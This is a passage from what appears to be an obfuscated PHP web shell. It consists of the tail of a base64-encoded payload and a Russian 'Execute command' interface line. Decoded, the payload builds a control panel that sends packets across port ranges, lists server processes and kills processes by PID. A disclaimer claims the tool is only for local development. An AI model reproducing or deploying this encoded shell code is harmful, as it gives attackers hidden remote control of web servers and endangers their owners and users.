YXJ0IHBvcnQnKTtyZXR1cm59aWYoKGlzTmFOKHBhY2tldEVuZFBvcnQpKXx8KHBhY2tldEVuZFBvcnQ8PTApfHwocGFja2V0RW5kUG9ydD42NTUzNSkpe3BhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIGVuZCBwb3J0Jyk7cmV0dXJufWlmKChpc05hTihwYWNrZXRUaW1lb3V0KSl8fChwYWNrZXRUaW1lb3V0PD0wKSl7cGFja2V0UmVzdWx0Lmh0bWwoJ0ludmFsaWQgY29ubmVjdGlvbiB0aW1lb3V0Jyk7cmV0dXJufWlmKChpc05hTihwYWNrZXRTVGltZW91dCkpfHwocGFja2V0U1RpbWVvdXQ8PTApKXtwYWNrZXRSZXN1bHQuaHRtbCgnSW52YWxpZCBzdHJlYW0gdGltZW91dCcpO3JldHVybn1pZihwYWNrZXRTdGFydFBvcnQ+cGFja2V0RW5kUG9ydCl7c3RhcnQ9cGFja2V0RW5kUG9ydDtlbmQ9cGFja2V0U3RhcnRQb3J0fWVsc2V7c3RhcnQ9cGFja2V0U3RhcnRQb3J0O2VuZD1wYWNrZXRFbmRQb3J0fXBhY2tldFJlc3VsdC5odG1sKCcnKTt3aGlsZShzdGFydDw9ZW5kKXtwYWNrZXRQb3J0PXN0YXJ0Kys7cGFja2V0UmVzdWx0LmFwcGVuZCgiPGhyPjxkaXY+PHAgY2xhc3M9J2JveHRpdGxlJz5Ib3N0IDogIitodG1sX3NhZmUocGFja2V0SG9zdCkrIjoiK3BhY2tldFBvcnQrIjwvcD48YnI+PGRpdiBpZD0ncGFja2V0IitwYWNrZXRQb3J0KyInIHN0eWxlPSdwYWRkaW5nOjJweCA0cHg7Jz5Xb3JraW5nLi4uIHBsZWFzZSB3YWl0Li4uPC9kaXY+PC9kaXY+Iik7cGFja2V0X3NlbmQocGFja2V0SG9zdCxwYWNrZXRQb3J0LHBhY2tldEVuZFBvcnQscGFja2V0VGltZW91dCxwYWNrZXRTVGltZW91dCxwYWNrZXRDb250ZW50KX19ZnVuY3Rpb24gcGFja2V0X3NlbmQocGFja2V0SG9zdCxwYWNrZXRQb3J0LHBhY2tldEVuZFBvcnQscGFja2V0VGltZW91dCxwYWNrZXRTVGltZW91dCxwYWNrZXRDb250ZW50KXtzZW5kX3Bvc3Qoe3BhY2tldEhvc3Q6cGFja2V0SG9zdCxwYWNrZXRQb3J0OnBhY2tldFBvcnQscGFja2V0RW5kUG9ydDpwYWNrZXRFbmRQb3J0LHBhY2tldFRpbWVvdXQ6cGFja2V0VGltZW91dCxwYWNrZXRTVGltZW91dDpwYWNrZXRTVGltZW91dCxwYWNrZXRDb250ZW50OnBhY2tldENvbnRlbnR9LGZ1bmN0aW9uKHJlcyl7JCgnI3BhY2tldCcrcGFja2V0UG9ydCkuaHRtbChyZXMpfSxmYWxzZSl9WmVwdG8oZnVuY3Rpb24oJCl7c2hvd19wcm9jZXNzZXMoKX0pO2Z1bmN0aW9uIHNob3dfcHJvY2Vzc2VzKCl7c2VuZF9wb3N0KHtzaG93UHJvY2Vzc2VzOicnfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7JCgnI3Byb2Nlc3NlcycpLmh0bWwocmVzKTtzb3J0dGFibGUuaygkKCcjcHNUYWJsZScpLmdldCgwKSk7cHNfYmluZCgpfX0pfWZ1bmN0aW9uIHBzX2JpbmQoKXskKCcua2lsbCcpLm9mZignY2xpY2snKTskKCcua2lsbCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7a2lsbF9waWQocHNfZ2V0X3BpZCgkKHRoaXMpKSl9KTtjYm94X2JpbmQoJ3BzVGFibGUnLCdwc191cGRhdGVfc3RhdHVzJyl9ZnVuY3Rpb24gcHNfZ2V0X3BpZChlbCl7cmV0dXJuIGVsLnBhcmVudCgpLnBhcmVudCgpLmF0dHIoJ2RhdGEtcGlkJyl9ZnVuY3Rpb24gcHNfdXBkYXRlX3N0YXR1cygpe3RvdGFsU2VsZWN0ZWQ9JCgnI3BzVGFibGUnKS5maW5kKCcuY0JveFNlbGVjdGVkJykubm90KCcuY0JveEFsbCcpLmxlbmd0aDtpZih0b3RhbFNlbGVjdGVkPT0wKSQoJy5wc1NlbGVjdGVkJykuaHRtbCgnJyk7ZWxzZSAkKCcucHNTZWxlY3RlZCcpLmh0bWwoJyAoICcrdG90YWxTZWxlY3RlZCsnIGl0ZW0ocykgc2VsZWN0ZWQgKScpfWZ1bmN0aW9uIGtpbGxfc2VsZWN0ZWQoKXtidWZmZXI9Z2V0X2FsbF9jYm94X3NlbGVjdGVkKCdwc1RhYmxlJywncHNfZ2V0X3BpZCcpO2FsbFBpZD0nJzskLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7YWxsUGlkKz12KycgJ30pO2FsbFBpZD0kLnRyaW0oYWxsUGlkKTtraWxsX3BpZChhbGxQaWQpfWZ1bmN0aW9uIGtpbGxfcGlkKGFsbFBpZCl7dGl0bGU9J0tpbGwnO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nYWxsUGlkJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyBkaXNhYmxlZD4iK2FsbFBpZCsiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwia2lsbF9waWRfZ28oKTtcIj5raWxsPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godGl0bGUsY29udGVudCl9ZnVuY3Rpb24ga2lsbF9waWRfZ28oKXthbGxQaWQ9JCgnLmFsbFBpZCcpLnZhbCgpO2lmKCQudHJpbShhbGxQaWQpIT0nJyl7c2VuZF9wb3N0KHthbGxQaWQ6YWxsUGlkfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7JCgnLmJveHJlc3VsdCcpLmh0bWwocmVzKycgcHJvY2Vzcyhlcykga2lsbGVkJyl9ZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnVW5hYmxlIHRvIGtpbGwgcHJvY2VzcyhlcyknKTtzaG93X3Byb2Nlc3NlcygpfSl9fTw/cGhwCmZvcmVhY2goJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gYXMgJGspewplY2hvICJmdW5jdGlvbiAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIigpeyAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2pzX29udGFic2VsZWN0ZWQnXS4iIH1cbiI7fT8+Cjwvc2NyaXB0Pgo8IS0tc2NyaXB0IGVuZC0tPgo8L2JvZHk+CjwvaHRtbD48P3BocCBkaWUoKTs/Pg==");?>

Выполнить команду


Для локальной разработки. Не используйте в интернете!